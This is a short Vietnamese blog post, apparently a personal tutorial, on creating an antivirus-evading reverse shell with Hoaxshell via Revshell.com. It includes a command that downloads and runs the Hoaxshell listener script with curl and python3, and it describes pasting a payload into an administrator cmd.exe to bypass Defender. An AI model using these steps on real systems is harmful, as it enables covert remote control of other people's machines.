FUD với Revshell + Hoaxshell (Một lần nữa!).

Đúng! Hoaxshell yêu quý của chúng tôi đã trở lại và đúng vậy, FUD của nó “hoàn toàn không thể phát hiện” một lần nữa!

Tôi tình cờ lướt trên twitter chỉ để kiểm tra những gì đang diễn ra trong cộng đồng và tôi bắt gặp dòng tweet từ “ Panagiotis Chartas ” rằng họ hiện đã tải lên ' hoaxshell ' trên một nền tảng tạo shell đảo ngược phổ biến có tên ' Revshell '.

Ngoài ra, nó lại không thể bị phát hiện bởi ' Defender ', vì vậy tôi nghĩ tại sao không thử lại..!

Vì vậy, tôi đã nhanh chóng kiểm tra ' Người bảo vệ ' và ' Cập nhật' . Mọi thứ có vẻ tốt ở đây từ phía Windows.

Tôi đã mở Revshell.com , có thể nhấp vào tab 'Hoaxshell', tôi có thể thấy nhiều tùy chọn shell ngược có thể tạo. Vì vậy, tôi chỉ chọn cái đầu tiên. Tôi thiết lập IP và cổng nghe trên trang web.

Chỉ cần cung cấp IP và Cổng của bạn, ngoài ra chúng tôi cần là ' Windows CMD cURL '. Bây giờ hãy đến Kali Terminal của bạn, chúng ta cần khởi động trình nghe ' Hoaxshell ' của mình.

python3 -c “$(curl -s https://raw.githubusercontent.com/t3l3machus/hoaxshell/main/revshells/hoaxshell-listener.py)" -t cmd-curl -p 8080

Khi bạn nhấn enter, bạn sẽ thấy rằng chúng tôi có máy chủ đang lắng nghe kết nối.

Bây giờ, những gì chúng ta cần làm là mở ' Cmd.exe ' với tư cách ' Quản trị viên '…và chỉ cần sao chép tải trọng từ 'Revshell.com' và dán vào cmd.exe của chúng ta.

Chúng tôi gần như đã hoàn tất…chúng tôi đã sẵn sàng tải trọng của mình trong ' Cmd.exe ' và trình nghe của chúng tôi cũng đã sẵn sàng trong máy Kali .

Khi bạn nhấn enter, bạn có thể biết rằng chúng tôi đã thiết lập một phiên trong 'Hoaxshell' với trình bao cmd.exe. Bây giờ bạn có thể làm bất cứ điều gì bạn muốn làm.

Cảm ơn các bạn, tôi hy vọng điều này sẽ giúp bạn hiểu rõ hơn về công cụ 'Hoaxshell' và thành thật mà nói, cảm giác trở thành FUD thực sự rất tuyệt. Hẹn gặp lại các bạn trong blog tiếp theo cho đến khi hòa bình. ✌❤️.